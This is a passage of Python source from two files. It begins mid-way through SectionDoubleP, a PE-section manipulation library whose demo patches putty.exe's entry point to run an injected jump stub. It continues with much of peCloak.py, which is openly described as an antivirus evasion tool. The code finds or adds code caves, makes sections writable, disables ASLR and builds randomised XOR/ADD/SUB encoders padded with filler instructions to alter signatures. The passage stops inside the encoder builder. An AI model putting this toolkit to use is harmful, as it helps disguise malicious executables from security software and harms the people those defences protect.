self.pe.OPTIONAL_HEADER.SizeOfCode = 0 28 | self.pe.OPTIONAL_HEADER.SizeOfInitializedData = 0 29 | self.pe.OPTIONAL_HEADER.SizeOfUninitializedData = 0 30 | 31 | # Recalculating the sizes by iterating over every section and checking if 32 | # the appropriate characteristics are set. 33 | for section in self.pe.sections: 34 | if section.Characteristics & 0x00000020: 35 | # Section contains code. 36 | self.pe.OPTIONAL_HEADER.SizeOfCode += section.SizeOfRawData 37 | if section.Characteristics & 0x00000040: 38 | # Section contains initialized data. 39 | self.pe.OPTIONAL_HEADER.SizeOfInitializedData += section.SizeOfRawData 40 | if section.Characteristics & 0x00000080: 41 | # Section contains uninitialized data. 42 | self.pe.OPTIONAL_HEADER.SizeOfUninitializedData += section.SizeOfRawData 43 | 44 | def __add_header_space(self): 45 | """ To make space for a new section header a buffer filled with nulls is added at the 46 | end of the headers. The buffer has the size of one file alignment. 47 | The data between the last section header and the end of the headers is copied to 48 | the new space (everything moved by the size of one file alignment). If any data 49 | directory entry points to the moved data the pointer is adjusted. 50 | """ 51 | 52 | FileAlignment = self.pe.OPTIONAL_HEADER.FileAlignment 53 | SizeOfHeaders = self.pe.OPTIONAL_HEADER.SizeOfHeaders 54 | 55 | data = '\x00' * FileAlignment 56 | 57 | # Adding the null buffer. 58 | self.pe.__data__ = (self.pe.__data__[:SizeOfHeaders] + data + 59 | self.pe.__data__[SizeOfHeaders:]) 60 | 61 | section_table_offset = (self.pe.DOS_HEADER.e_lfanew + 4 + 62 | self.pe.FILE_HEADER.sizeof() + self.pe.FILE_HEADER.SizeOfOptionalHeader) 63 | 64 | # Copying the data between the last section header and SizeOfHeaders to the newly allocated 65 | # space. 66 | new_section_offset = section_table_offset + self.pe.FILE_HEADER.NumberOfSections*0x28 67 | size = SizeOfHeaders - new_section_offset 68 | data = self.pe.get_data(new_section_offset, size) 69 | self.pe.set_bytes_at_offset(new_section_offset + FileAlignment, data) 70 | 71 | # Filling the space, from which the data was copied from, with NULLs. 72 | self.pe.set_bytes_at_offset(new_section_offset, '\x00' * FileAlignment) 73 | 74 | data_directory_offset = section_table_offset - self.pe.OPTIONAL_HEADER.NumberOfRvaAndSizes * 0x8 75 | 76 | # Checking data directories if anything points to the space between the last section header 77 | # and the former SizeOfHeaders. If that's the case the pointer is increased by FileAlignment. 78 | for data_offset in xrange(data_directory_offset, section_table_offset, 0x8): 79 | data_rva = self.pe.get_dword_from_offset(data_offset) 80 | 81 | if new_section_offset <= data_rva and data_rva < SizeOfHeaders: 82 | self.pe.set_dword_at_offset(data_offset, data_rva + FileAlignment) 83 | 84 | SizeOfHeaders_offset = (self.pe.DOS_HEADER.e_lfanew + 4 + 85 | self.pe.FILE_HEADER.sizeof() + 0x3C) 86 | 87 | # Adjusting the SizeOfHeaders value. 88 | self.pe.set_dword_at_offset(SizeOfHeaders_offset, SizeOfHeaders + FileAlignment) 89 | 90 | section_raw_address_offset = section_table_offset + 0x14 91 | 92 | # The raw addresses of the sections are adjusted. 93 | for section in self.pe.sections: 94 | if section.PointerToRawData != 0: 95 | self.pe.set_dword_at_offset(section_raw_address_offset, section.PointerToRawData+FileAlignment) 96 | 97 | section_raw_address_offset += 0x28 98 | 99 | # All changes in this method were made to the raw data (__data__). To make these changes 100 | # accessbile in self.pe __data__ has to be parsed again. Since a new pefile is parsed during 101 | # the init method, the easiest way is to replace self.pe with a new pefile based on __data__ 102 | # of the old self.pe. 103 | self.pe = pefile.PE(data=self.pe.__data__) 104 | 105 | def __is_null_data(self, data): 106 | """ Checks if the given data contains just null bytes. 107 | """ 108 | 109 | for char in data: 110 | if char != '\x00': 111 | return False 112 | return True 113 | 114 | def pop_back(self): 115 | """ Removes the last section of the section table. 116 | Deletes the section header in the section table, the data of the section in the file, 117 | pops the last section in the sections list of pefile and adjusts the sizes in the 118 | optional header. 119 | """ 120 | 121 | # Checking if there are any sections to pop. 122 | if ( self.pe.FILE_HEADER.NumberOfSections > 0 123 | and self.pe.FILE_HEADER.NumberOfSections == len(self.pe.sections)): 124 | 125 | # Stripping the data of the section from the file. 126 | if self.pe.sections[-1].SizeOfRawData != 0: 127 | self.pe.__data__ = (self.pe.__data__[:self.pe.sections[-1].PointerToRawData] + \ 128 | self.pe.__data__[self.pe.sections[-1].PointerToRawData + \ 129 | self.pe.sections[-1].SizeOfRawData:]) 130 | 131 | # Overwriting the section header in the binary with nulls. 132 | # Getting the address of the section table and manually overwriting 133 | # the header with nulls unfortunally didn't work out. 134 | self.pe.sections[-1].Name = '\x00'*8 135 | self.pe.sections[-1].Misc_VirtualSize = 0x00000000 136 | self.pe.sections[-1].VirtualAddress = 0x00000000 137 | self.pe.sections[-1].SizeOfRawData = 0x00000000 138 | self.pe.sections[-1].PointerToRawData = 0x00000000 139 | self.pe.sections[-1].PointerToRelocations = 0x00000000 140 | self.pe.sections[-1].PointerToLinenumbers = 0x00000000 141 | self.pe.sections[-1].NumberOfRelocations = 0x0000 142 | self.pe.sections[-1].NumberOfLinenumbers = 0x0000 143 | self.pe.sections[-1].Characteristics = 0x00000000 144 | 145 | self.pe.sections.pop() 146 | 147 | self.pe.FILE_HEADER.NumberOfSections -=1 148 | 149 | self.__adjust_optional_header() 150 | else: 151 | raise SectionDoublePError("There's no section to pop.") 152 | 153 | def push_back(self, Name=".NewSec", VirtualSize=0x00000000, VirtualAddress=0x00000000, 154 | RawSize=0x00000000, RawAddress=0x00000000, RelocAddress=0x00000000, 155 | Linenumbers=0x00000000, RelocationsNumber=0x0000, LinenumbersNumber=0x0000, 156 | Characteristics=0xE00000E0, Data=""): 157 | """ Adds the section, specified by the functions parameters, at the end of the section 158 | table. 159 | If the space to add an additional section header is insufficient, a buffer is inserted 160 | after SizeOfHeaders. Data between the last section header and the end of SizeOfHeaders 161 | is copied to +1 FileAlignment. Data directory entries pointing to this data are fixed. 162 | 163 | A call with no parameters creates the same section header as LordPE does. But for the 164 | binary to be executable without errors a VirtualSize > 0 has to be set. 165 | 166 | If a RawSize > 0 is set or Data is given the data gets aligned to the FileAlignment and 167 | is attached at the end of the file. 168 | """ 169 | 170 | if self.pe.FILE_HEADER.NumberOfSections == len(self.pe.sections): 171 | 172 | FileAlignment = self.pe.OPTIONAL_HEADER.FileAlignment 173 | SectionAlignment = self.pe.OPTIONAL_HEADER.SectionAlignment 174 | 175 | if len(Name) > 8: 176 | raise SectionDoublePError("The name is too long for a section.") 177 | 178 | if ( VirtualAddress < (self.pe.sections[-1].Misc_VirtualSize + 179 | self.pe.sections[-1].VirtualAddress) 180 | or VirtualAddress % SectionAlignment != 0): 181 | 182 | if (self.pe.sections[-1].Misc_VirtualSize % SectionAlignment) != 0: 183 | VirtualAddress = \ 184 | (self.pe.sections[-1].VirtualAddress + self.pe.sections[-1].Misc_VirtualSize - 185 | (self.pe.sections[-1].Misc_VirtualSize % SectionAlignment) + SectionAlignment) 186 | else: 187 | VirtualAddress = \ 188 | (self.pe.sections[-1].VirtualAddress + self.pe.sections[-1].Misc_VirtualSize) 189 | 190 | if VirtualSize < len(Data): 191 | VirtualSize = len(Data) 192 | 193 | if (len(Data) % FileAlignment) != 0: 194 | # Padding the data of the section. 195 | Data += '\x00' * (FileAlignment - (len(Data) % FileAlignment)) 196 | 197 | if RawSize != len(Data): 198 | if ( RawSize > len(Data) 199 | and (RawSize % FileAlignment) == 0): 200 | Data += '\x00' * (RawSize - (len(Data) % RawSize)) 201 | else: 202 | RawSize = len(Data) 203 | 204 | 205 | section_table_offset = (self.pe.DOS_HEADER.e_lfanew + 4 + 206 | self.pe.FILE_HEADER.sizeof() + self.pe.FILE_HEADER.SizeOfOptionalHeader) 207 | 208 | # If the new section header exceeds the SizeOfHeaders there won't be enough space 209 | # for an additional section header. Besides that it's checked if the 0x28 bytes 210 | # (size of one section header) after the last current section header are filled 211 | # with nulls/ are free to use. 212 | if ( self.pe.OPTIONAL_HEADER.SizeOfHeaders < 213 | section_table_offset + (self.pe.FILE_HEADER.NumberOfSections+1)*0x28 214 | or not self.__is_null_data(self.pe.get_data(section_table_offset + 215 | (self.pe.FILE_HEADER.NumberOfSections)*0x28, 0x28))): 216 | 217 | # Checking if more space can be added. 218 | if self.pe.OPTIONAL_HEADER.SizeOfHeaders < self.pe.sections[0].VirtualAddress: 219 | 220 | self.__add_header_space() 221 | print "Additional space to add a new section header was allocated." 222 | else: 223 | raise SectionDoublePError("No more space can be added for the section header.") 224 | 225 | 226 | # The validity check of RawAddress is done after space for a new section header may 227 | # have been added because if space had been added the PointerToRawData of the previous 228 | # section would have changed. 229 | if (RawAddress != (self.pe.sections[-1].PointerToRawData + 230 | self.pe.sections[-1].SizeOfRawData)): 231 | RawAddress = \ 232 | (self.pe.sections[-1].PointerToRawData + self.pe.sections[-1].SizeOfRawData) 233 | 234 | 235 | # Appending the data of the new section to the file. 236 | if len(Data) > 0: 237 | self.pe.__data__ = (self.pe.__data__[:RawAddress] + Data + \ 238 | self.pe.__data__[RawAddress:]) 239 | 240 | section_offset = section_table_offset + self.pe.FILE_HEADER.NumberOfSections*0x28 241 | 242 | # Manually writing the data of the section header to the file. 243 | self.pe.set_bytes_at_offset(section_offset, Name) 244 | self.pe.set_dword_at_offset(section_offset+0x08, VirtualSize) 245 | self.pe.set_dword_at_offset(section_offset+0x0C, VirtualAddress) 246 | self.pe.set_dword_at_offset(section_offset+0x10, RawSize) 247 | self.pe.set_dword_at_offset(section_offset+0x14, RawAddress) 248 | self.pe.set_dword_at_offset(section_offset+0x18, RelocAddress) 249 | self.pe.set_dword_at_offset(section_offset+0x1C, Linenumbers) 250 | self.pe.set_word_at_offset(section_offset+0x20, RelocationsNumber) 251 | self.pe.set_word_at_offset(section_offset+0x22, LinenumbersNumber) 252 | self.pe.set_dword_at_offset(section_offset+0x24, Characteristics) 253 | 254 | self.pe.FILE_HEADER.NumberOfSections +=1 255 | 256 | # Parsing the section table of the file again to add the new section to the sections 257 | # list of pefile. 258 | self.pe.parse_sections(section_table_offset) 259 | 260 | self.__adjust_optional_header() 261 | else: 262 | raise SectionDoublePError("The NumberOfSections specified in the file header and the " + 263 | "size of the sections list of pefile don't match.") 264 | 265 | return self.pe 266 | 267 | def print_section_info(pe): 268 | for section in pe.sections: 269 | print section 270 | 271 | # If you don't have pydasm installed comment the rest of the function out. 272 | print "The instructions at the beginning of the last section:" 273 | 274 | ep = pe.sections[-1].VirtualAddress 275 | ep_ava = ep+pe.OPTIONAL_HEADER.ImageBase 276 | data = pe.get_memory_mapped_image()[ep:ep+6] 277 | offset = 0 278 | while offset < len(data): 279 | i = pydasm.get_instruction(data[offset:], pydasm.MODE_32) 280 | print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+offset) 281 | offset += i.length 282 | 283 | def main(argv): 284 | pe = pefile.PE("putty.exe") 285 | 286 | sections = SectionDoubleP(pe) 287 | 288 | # JMP 0044C4DF 289 | # NOP 290 | # 0x0044C4DF is the entry point of putty.exe (at least of my version) when it's mapped at 291 | # 0x00400000. 292 | data="\xE9\xDA\xF4\xFC\xFF\x90" 293 | 294 | try: 295 | # Characteristics: Executable as code, Readable, Contains executable code 296 | pe = sections.push_back(Characteristics=0x60000020, Data=data) 297 | pe = sections.push_back(Characteristics=0x60000020, Data=data) 298 | except SectionDoublePError as e: 299 | print e 300 | 301 | print "Information on every section after two sections have been added:" 302 | print_section_info(pe) 303 | 304 | try: 305 | sections.pop_back() 306 | except SectionDoublePError as e: 307 | print e 308 | 309 | print "\nInformation on every section after one of the added sections has been removed:" 310 | print_section_info(pe) 311 | 312 | pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.sections[-1].VirtualAddress 313 | 314 | pe.write(filename="putty - modded.exe") 315 | 316 | if __name__ == '__main__': 317 | main(sys.argv[1:]) 318 | -------------------------------------------------------------------------------- /evasion/peCloak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | peCloak.py (beta) - A Multi-Pass Encoder & Heuristic Sandbox Bypass AV Evasion Tool 5 | Copyright (C) 2015 Mike Czumak | T_V3rn1x | @SecuritySift 6 | -------------------------------------------------------------------- 7 | LICENSE/WARRANTY: This program is free software: you can redistribute 8 | it and/or modify it under the terms of the GNU General Public License 9 | as published by the Free Software Foundation, either version 3 of the 10 | License, or(at your option) any later version. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You can obtain a copy of the GNU General Public License from: 18 | http://www.gnu.org/licenses/. 19 | -------------------------------------------------------------------- 20 | DISCLAIMER: This program is intended for use in research, 21 | sanctioned penetration testing, or other authorized security-related purposes. 22 | Do not use this code or any derivative of it for illegal or otherwise 23 | unauthorized activities. 24 | -------------------------------------------------------------------- 25 | PURPOSE AND USAGE EXAMPLES: Please visit www.securitysift.com 26 | for additional details and the latest version of this code. 27 | 28 | Please note the external code dependencies: pydasm, pefile, SectionDoubleP 29 | ''' 30 | 31 | import os, sys, getopt 32 | import pefile 33 | import pydasm 34 | import re 35 | import binascii 36 | import struct 37 | import time, datetime 38 | import random 39 | from random import randint 40 | from SectionDoubleP import * 41 | 42 | debug = False 43 | def log(msg): 44 | if debug: 45 | print(msg) 46 | 47 | ''' 48 | Split a file into chunks of designated size. Might be useful if simple encoding of the 49 | text/code section is ineffective and you need to locate the offending portions 50 | of the pe file that are triggering signature-based detection 51 | ''' 52 | def chunk_file (file, chunk_size): 53 | # make folder to hold file chunks 54 | target_directory = os.path.splitext(file)[0] + "_cloaked" 55 | timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S') 56 | target_directory += "_" + timestamp 57 | 58 | if not os.path.exists(target_directory): 59 | os.makedirs(target_directory) 60 | log("[*] Target directory [%s] created" % target_directory) 61 | 62 | log("[*] Attempting to chunk file [%s] to target directory" % (file)) 63 | 64 | with open(file, "rb") as f: 65 | byte = f.read(1) 66 | byte_count = 1 67 | chunk_count = 0 68 | chunk = "" 69 | while byte != "": 70 | if byte_count <= int(chunk_size): 71 | chunk += byte 72 | 73 | else: 74 | # write to file and create new chunk 75 | chunk_count += 1 76 | with open(target_directory+"\\chunk_"+str(chunk_count), 'wb') as output: 77 | output.write(chunk) 78 | 79 | # reset counters 80 | chunk = "" 81 | byte_count = 1 82 | 83 | byte_count += 1 84 | byte = f.read(1) 85 | log("[*] A total of %i bytes chunked into %i separate files" % (byte_count, chunk_count)) 86 | 87 | ''' 88 | Get entry offset and address 89 | from pefile usage example on code.google.com 90 | ''' 91 | def get_entry (pe): 92 | ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint 93 | ep_ava = ep+pe.OPTIONAL_HEADER.ImageBase 94 | return ep, ep_ava 95 | 96 | ''' 97 | List all sections in the pe file 98 | ''' 99 | def get_sections(pe): 100 | log("[*] PE Section Information Summary:") 101 | for section in pe.sections: 102 | log("\t[+] Name: %s, Virtual Address: %s, Virtual Size: %s, Characteristics: %s" % (section.Name, 103 | hex(section.VirtualAddress), 104 | hex(section.Misc_VirtualSize), 105 | hex(section.Characteristics))) 106 | return 107 | ''' 108 | Get section header for named section 109 | ''' 110 | def get_section_header(pe, section_name): 111 | for section in pe.sections: 112 | if section_name.strip().lower() in section.Name.strip().lower(): 113 | return section 114 | 115 | ''' 116 | Print image and section header(s) 117 | ''' 118 | def get_info(pe, section): 119 | log("[*] Printing pe file info...\n") 120 | get_sections(pe) 121 | log(pe.OPTIONAL_HEADER) 122 | 123 | if section == "all": 124 | for section in pe.sections: 125 | header = get_section_header(pe, section.Name) 126 | log(header) 127 | elif section == "none": 128 | return 129 | else: 130 | header = get_section_header(pe, section) 131 | log(header) 132 | 133 | ''' 134 | Looks for a section of enough successive null bytes to act as 135 | a suitable location for the code cave within the existing sections 136 | so we don't have to add a new section. Skip this step with the -a option 137 | ''' 138 | def find_codecave_space(pe, required_space): 139 | log("[*] Searching for suitable code cave location...") 140 | for section in pe.sections: 141 | section_header = section 142 | section_name = section_header.Name 143 | virtual_address = section_header.VirtualAddress 144 | code_cave_section = "" 145 | virtual_offset = 0 146 | raw_offset = 0 147 | 148 | data_to_search = retrieve_data(pe, section_name, "raw") # grab raw data from section 149 | 150 | log("\t[+] Searching %s section..." % section_name) 151 | 152 | # search for code cave 153 | null_count = 0 154 | byte_count = 0 155 | for byte in data_to_search: 156 | 157 | if byte == "00": 158 | null_count += 1 159 | if null_count >= required_space: # we've hit our required space limit 160 | raw_offset = byte_count - null_count + 2 # calculate the raw offset of the code cave for writing 161 | virtual_offset = struct.pack("L",(raw_offset) + virtual_address - pe.OPTIONAL_HEADER.AddressOfEntryPoint) # calculate the virtual offset 162 | code_cave_section = section_header.Name 163 | log("\t[+] At least %i null bytes found in %s section to host code cave" % (null_count, code_cave_section)) 164 | make_section_writeable(pe, code_cave_section) # section at least needs to be executable, currently make it writeable also 165 | return virtual_offset, raw_offset, code_cave_section 166 | else: 167 | null_count = 0 168 | byte_count += 1 169 | 170 | log("\t[+] No suitable code cave space found, creating a new section") 171 | return virtual_offset, raw_offset, code_cave_section 172 | 173 | ''' 174 | find (or make) location for code_cave 175 | ''' 176 | def get_code_cave (pe, skip_cave_search): 177 | 178 | code_cave_virtual_offset = 0 179 | 180 | # if we want to try to search for an existing suitable code cave location... 181 | if skip_cave_search == False: 182 | code_cave_virtual_offset, code_cave_raw_offset, code_cave_section = find_codecave_space(pe, 1000) # look for at least 1000 consecutive null bytes 183 | 184 | # if the code cave search was skipped or did not find a suitable code cave location... 185 | if code_cave_virtual_offset == 0: 186 | log("[*] Creating new section for code cave...") 187 | sections = SectionDoubleP(pe) 188 | code_cave_section = ".NewSec" 189 | pe = sections.push_back(code_cave_section, VirtualSize=0x00001000, RawSize=0x00001000) # add new section to the file 190 | try: 191 | section_header = get_section_header(pe, code_cave_section) 192 | code_cave_virtual_address = section_header.VirtualAddress 193 | code_cave_virtual_offset = get_virtual_offset(code_cave_virtual_address, pe) 194 | code_cave_raw_offset = 0 195 | except: 196 | log("Could not retrieve created code cave location. Check write permissions and try again.") 197 | sys.exit(2) 198 | 199 | code_cave_address = hex(pe.OPTIONAL_HEADER.ImageBase + pe.OPTIONAL_HEADER.AddressOfEntryPoint + struct.unpack("L",code_cave_virtual_offset)[0]) 200 | log("[*] Code cave located at %s" % (code_cave_address)) 201 | return pe, code_cave_address, code_cave_virtual_offset, code_cave_raw_offset, code_cave_section 202 | 203 | ''' 204 | Since we use the entry point and file base as our relative addresses, we need to 205 | be sure they won't be changed by ASLR. Function snippet adopted from 206 | https://github.com/0vercl0k/stuffz/blob/master/remove_aslr_bin.py 207 | ''' 208 | def disable_aslr(pe): 209 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x40 # flag indicates relocation at run time 210 | if (pe.OPTIONAL_HEADER.DllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE): 211 | pe.OPTIONAL_HEADER.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 212 | log("[*] ASLR disabled") 213 | else: 214 | log("[*] ASLR not enabled") 215 | 216 | ''' 217 | Save modified pe file 218 | ''' 219 | def save_cloaked_pe(pe, file, output=None): 220 | try: 221 | ts = int(time.time()) 222 | if output is None: 223 | fname = os.path.splitext(file)[0] + "_" + str(ts) + "_cloaked.exe" 224 | else: 225 | fname = output 226 | pe.write(pe.OPTIONAL_HEADER.SizeOfHeaders, filename=fname) # MODIFIED WRITE FUNCTION IN PEFILE!!! 227 | log("[*] New file saved [" + fname + "]") 228 | except: 229 | log("[!] ERROR: Could not save modified PE file. Check write permissions and ensure the file is not in use") 230 | raise 231 | sys.exit(2) 232 | 233 | ''' 234 | Print a range of bytes (in hex and ascii) for the named section 235 | starting at a given offset of the section start address 236 | The offset and byte count to print are handled so the user can 237 | provide either a hex or a decimal value for either (interchangeable) 238 | ''' 239 | def print_section_bytes(pe, section_range): 240 | 241 | if section_range: 242 | try: 243 | # get name of section, range of bytes to print, header and virtual start address 244 | section_name = section_range.split(":")[0].lower().strip() 245 | start = section_range.split(":")[1].strip() 246 | stop = section_range.split(":")[2].strip() 247 | 248 | # handle hex conversion for either start/end value 249 | try: 250 | format = start.split("h")[1] 251 | num1 = start.split("h")[0] 252 | start = int(num1.strip(), 16) 253 | except: 254 | start = int(start.strip()) 255 | 256 | try: 257 | format = stop.split("h")[1] 258 | num2 = stop.split("h")[0] 259 | stop = int(num2.strip(), 16) 260 | except: 261 | stop = int(stop.strip()) 262 | 263 | 264 | stop = int(start) + int(stop) 265 | 266 | except: 267 | log("[!] ERROR: Invalid Parameters provided -- %s %s " % (sys.exc_info()[0], sys.exc_info()[1])) 268 | sys.exit(2) 269 | 270 | try: 271 | section_header = get_section_header(pe, section_name) 272 | section_start_address = section_header.VirtualAddress 273 | except: 274 | log("[!] ERROR: Could not retrieve section information. Check section name and try again") 275 | sys.exit(2) 276 | 277 | try: 278 | data = retrieve_data(pe, section_name, "virtual") 279 | unprintable_chars = ["0a", "0d", "09", "0b"] 280 | offset = hex(section_start_address + start - 16) 281 | byte_line = "" 282 | char_line = "" 283 | total_count = 0 284 | line_count = 1 285 | 286 | log("[*] %i bytes of %s section at offset %sd (%s) from section section start (%s)\n\n" % ((stop - start), section_name, start, hex(start), hex(section_start_address))) 287 | 288 | log("Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n") 289 | # print bytes, 16 at a time in both hex and ascii values 290 | for byte in data: 291 | if total_count <= int(stop): 292 | if total_count >= int(start): 293 | if line_count <= 16: 294 | byte_line += " "+byte 295 | if byte in unprintable_chars: 296 | char_line += "." 297 | else: 298 | byte = binascii.unhexlify(byte) 299 | char_line += " "+byte 300 | line_count += 1 301 | else: 302 | offset = hex(section_start_address + total_count - 16) 303 | log(offset + " " + byte_line + " || " + char_line) 304 | line_count = 1 305 | byte_line = "" 306 | char_line = "" 307 | total_count += 1 308 | 309 | # print any remaining bytes 310 | if byte_line != "": 311 | spacers = 48 - len(byte_line) 312 | log(hex(int(offset, 16) + 16) + " " + byte_line + (" " * (spacers)) +" || " + char_line) 313 | 314 | except: 315 | log("[!] ERROR: %s %s " % (sys.exc_info()[0], sys.exc_info()[1])) 316 | 317 | ''' 318 | Return the relative jump location for the new section 319 | that will hold our code cave 320 | ''' 321 | def get_virtual_offset(virtual_address, pe): 322 | #return relative jump location for code cave = section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase 323 | return struct.pack("L",virtual_address - pe.OPTIONAL_HEADER.AddressOfEntryPoint) 324 | 325 | ''' 326 | Make section of the pe file writable 327 | ''' 328 | def make_section_writeable(pe, name): 329 | for section in pe.sections: 330 | if (name.strip().lower() in section.Name.strip().lower()): 331 | if section.Characteristics != 0xE0000020: 332 | section.Characteristics = 0xE0000020 333 | log("[*] PE %s section made writeable with attribute 0xE0000020" % name) 334 | return pe 335 | else: 336 | log("[*] Verified PE %s section is already writeable" ) 337 | return pe 338 | 339 | log("[!] Could not make %s section writeable" % name) 340 | return False 341 | 342 | ''' 343 | Locate the physical address of the file to overwrite 344 | which will be located at an offset from the PointerToRawData. This offset 345 | is calculated by subtracting the base code address from the entry point address. 346 | ''' 347 | def find_overwrite_location(pe): 348 | section_header = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) 349 | raw_data = section_header.PointerToRawData 350 | overwrite_offset = pe.OPTIONAL_HEADER.AddressOfEntryPoint - pe.OPTIONAL_HEADER.BaseOfCode 351 | overwrite_location = raw_data + overwrite_offset 352 | return overwrite_location 353 | 354 | ''' 355 | Various functions to modify bytes within a given section 356 | ''' 357 | # swap case of lower and upper ASCII letters 358 | def swap_case(byte, lowercase, uppercase): 359 | if byte in lowercase: 360 | byte = uppercase[lowercase.index(byte)] 361 | elif byte in uppercase: 362 | byte = lowercase[uppercase.index(byte)] 363 | return byte 364 | 365 | # zero out all ASCII letters 366 | def zero_letters(byte, lowercase, uppercase): 367 | if (byte in lowercase) or (byte in uppercase): 368 | byte = "00" 369 | return byte 370 | 371 | # zero out all non-ASCII letters 372 | def zero_nonletters(byte, lowercase, uppercase): 373 | if (byte not in lowercase) and (byte not in uppercase): 374 | byte = "00" 375 | return byte 376 | 377 | ''' 378 | Modify a given range of bytes in a section using the preceding modification functions 379 | You can do this a bit more elegantly by using a hex range and simply adding / subtracting 380 | 20h to obtain the corresponding swapped letter (TODO) 381 | ''' 382 | def mod_section(pe, section_name, mod_type, mod_range): 383 | 384 | # ASCII letters hex 385 | lowercase = ["61","62","63","64","65","66","67","68","69","6a","6b","6c","6d","6e","6f","70","71","72","73","74","75","76","77","78","79","7a"] 386 | uppercase = ["41","42","43","44","45","46","47","48","49","4a","4b","4c","4d","4e","4f","50","51","52","53","54","55","56","57","48","49","5a"] 387 | 388 | try: 389 | make_section_writeable(pe, section_name) # make the section writeable before attempting modifications 390 | section_header = get_section_header(pe, section_name) 391 | section_start = section_header.PointerToRawData 392 | section_stop = section_start + section_header.Misc_VirtualSize 393 | data = binascii.hexlify(pe.get_memory_mapped_image()[section_start:section_stop]) 394 | data = re.findall(r'.{1,2}',data,re.DOTALL) 395 | except: 396 | log("[!] ERROR: Could not retrieve section information for modification. Check section name and try again.") 397 | sys.exit(2) 398 | 399 | try: 400 | if int(mod_range.split(":")[0]) < 0: 401 | mod_lower = 0 # if provided value is smaller than the section, use section start 402 | elif int(mod_range.split(":")[0]) > section_header.Misc_VirtualSize: 403 | log("[!] Invalid values provided for section modification range. Skipping this step") 404 | return 405 | else: 406 | mod_lower = int(mod_range.split(":")[0]) 407 | if int(mod_range.split(":")[1]) > section_header.Misc_VirtualSize: 408 | mod_upper = section_header.Misc_VirtualSize # if provided value is bigger than the section, use section stop 409 | elif int(mod_range.split(":")[1]) < mod_lower: 410 | log("[!] Invalid values provided for section modification range. Skipping this step") 411 | return 412 | else: 413 | mod_upper = int(mod_range.split(":")[1]) 414 | except: 415 | log("[!] Invalid values provided for section modification range. Skipping this step") 416 | return 417 | 418 | modification = "" 419 | modified_data = "" 420 | count = 0 421 | 422 | while (count <= mod_upper): 423 | 424 | for byte in data: 425 | byte = byte.lower() 426 | if count in range(mod_lower, mod_upper): 427 | if mod_type == "1": 428 | byte = swap_case(byte, lowercase, uppercase) 429 | modification = "Letters swapped" 430 | elif mod_type == "2": 431 | byte = zero_letters(byte, lowercase, uppercase) 432 | modification = "Letters zeroed" 433 | elif mod_type == "3": 434 | byte = zero_nonletters(byte, lowercase, uppercase) 435 | modification = "Non-letters swapped" 436 | else: 437 | log("[!] Invalid mod option provided. No modification mades") 438 | return 439 | modified_data += byte 440 | count += 1 441 | 442 | log("[*] %s in range %i to %i in section %s" % (modification, mod_lower, mod_upper, section_name)) 443 | 444 | # write encoded data to image 445 | log("[*] Writing modified %s section to file" % section_name) 446 | raw_text_start = section_header.PointerToRawData 447 | pe.set_bytes_at_offset(raw_text_start, binascii.unhexlify(modified_data)) 448 | 449 | ''' 450 | various encoding functions 451 | ''' 452 | def do_xor(value_in, xor_val): 453 | xor = value_in ^ xor_val 454 | if (xor >= 256) or (xor < 0): 455 | xor = "{:02x}".format(xor & 0xffffffff)[-2:] 456 | xor = int(xor,16) 457 | return xor 458 | 459 | def do_add(value_in, add_val): 460 | add = value_in + add_val 461 | if (add >= 256) or (add < 0): 462 | add = "{:02x}".format(add & 0xffffffff)[-2:] 463 | add = int(add, 16) 464 | return add 465 | 466 | def do_sub(value_in, sub_val): 467 | sub = value_in - sub_val 468 | if (sub >= 256) or (sub < 0): 469 | sub = "{:02x}".format(sub & 0xffffffff)[-2:] 470 | sub = int(sub, 16) 471 | return sub 472 | 473 | ''' 474 | Generate benign filler instructions to alter the code cave signature 475 | The filler instructions provided here are some examples. This could be expanded (TODO) 476 | ''' 477 | def add_fill_instructions(limit): 478 | 479 | # benign filler instructions to include in the decoder 480 | filler_instructions = [ 481 | "\x90", # NOP 482 | "\x0f\x1f\x90\x90\x90\x90", # MULTI NOP 483 | "\x60\x61", # PUSHAD|POPAD 484 | "\x9c\x9d", # PUSHFD|POPFD 485 | "\x40\x48", # INC EAX|DEC EAX 486 | "\x41\x49", # INC ECX|DEC ECX 487 | "\x42\x4A", # INC EDX|DEC EDX 488 | "\x43\x4B", # INC EBX|DEC EBX 489 | "\x51\x31\xc9\x59", # PUSH ECX|XOR ECX,ECX|POP ECX 490 | "\x52\x31\xd2\x5a", # PUSH EDX|XOR EDX,EDX|POP EDX 491 | "\x53\x31\xdb\x5b", # PUSH EBX|XOR EBX,EBX|POP EBX 492 | ] 493 | # add benign filler instructions to the decoder 494 | num_fill_instructions = randint(1,limit) 495 | fill_instruction = "" 496 | while (num_fill_instructions > 0): 497 | fill_instruction += filler_instructions[randint(0,len(filler_instructions)-1)] 498 | num_fill_instructions -= 1 499 | 500 | return fill_instruction 501 | 502 | ''' 503 | Generate the encoder instructions using pseudo-random selection for 504 | number, order, and modifiers 505 | ''' 506 | def build_encoder(heuristic_iterations): 507 | 508 | encoder = [] 509 | encode_instructions = ["ADD","SUB","XOR"] # possible encode operations 510 | num_encode_instructions = randint(5,10) # determine the number of encode instructions 511 | 512 | # build the dynamic portion of the encoder 513 | while (num_encode_instructions > 0): 514 | modifier = randint(0,255) 515 | 516 | # determine the encode instruction 517 | encode_instruction = random.choice(encode_instructions) 518 | encoder.append(encode_instruction + " " + str(modifier)) 519 | 520 | num_encode_instructions -= 1 521 | 522 | # build the last xor instruction using a pseudo-random modifier plus the number of heuristic iterations 523 | # TODO: use the heuristic iterations modifier as additional decode step at run time 524 | modifier = randint(1,100) 525 | encoder.append("XOR " + str(modifier + heuristic_iterations)) 526 | 527 | # print the encoder 